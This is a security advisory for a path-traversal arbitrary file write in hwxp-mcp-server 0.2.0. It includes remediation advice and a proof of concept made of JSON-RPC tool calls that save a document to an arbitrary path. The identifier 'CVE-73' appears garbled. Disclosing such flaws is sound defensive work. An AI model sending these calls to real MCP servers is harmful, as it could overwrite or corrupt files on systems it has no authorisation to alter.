# Vulnerability Summary: Arbitrary File Write Vulnerability in hwxp-mcp-server ## Vulnerability Overview * **Vulnerability Name**: Arbitrary File Write Vulnerability in hwxp-mcp-server (CVE-73) * **Vulnerability Type**: CWE-73 (External Control of File Name or Path) * **Affected Component**: `hwxp-mcp-server` (Version 0.2.0) * **Vulnerability Description**: The server fails to validate output paths when handling MCP tool calls such as `save_document`, `export_to_text`, and `export_to_html`. Attackers can write files to any location writable by the server process by constructing absolute or relative paths containing `../`, leading to integrity compromise, configuration corruption, or denial of service. ## Impact Scope * **Affected Versions**: 0.2.0 * **Affected Commit**: `87850fd` * **Attack Prerequisites**: The attacker must be able to invoke MCP server tools (e.g., via an MCP client), and the server process must have write permissions to the target path. ## Remediation 1. **Path Normalization**: Use functions like `path.resolve` to normalize user-provided paths and enforce that all output paths remain within a configured, explicit workspace directory. 2. **Reject Dangerous Paths**: Reject malicious paths containing absolute paths, parent directory traversal (`../`), symbolic link escapes, or device paths. 3. **Input Validation**: Apply the same security policies to input paths for tools such as `open_document` and `insert_image`. 4. **Regression Testing**: Add test cases to ensure that paths controlled via MCP cannot read from or write to locations outside the workspace. ## POC Code (Proof of Concept) **Step 1: Create a New Document** ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "create_document", "arguments": { "title": "poc", "creator": "poc" } } } ``` **Step 2: Exploit the Vulnerability to Save a File to an Arbitrary Path** ```json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "save_document", "arguments": { "doc_id": "", "output_path": "/tmp/hwxp-mcp-arbitrary-write.hwxp", "create_backup": false, "verify_integrity": false } } } ```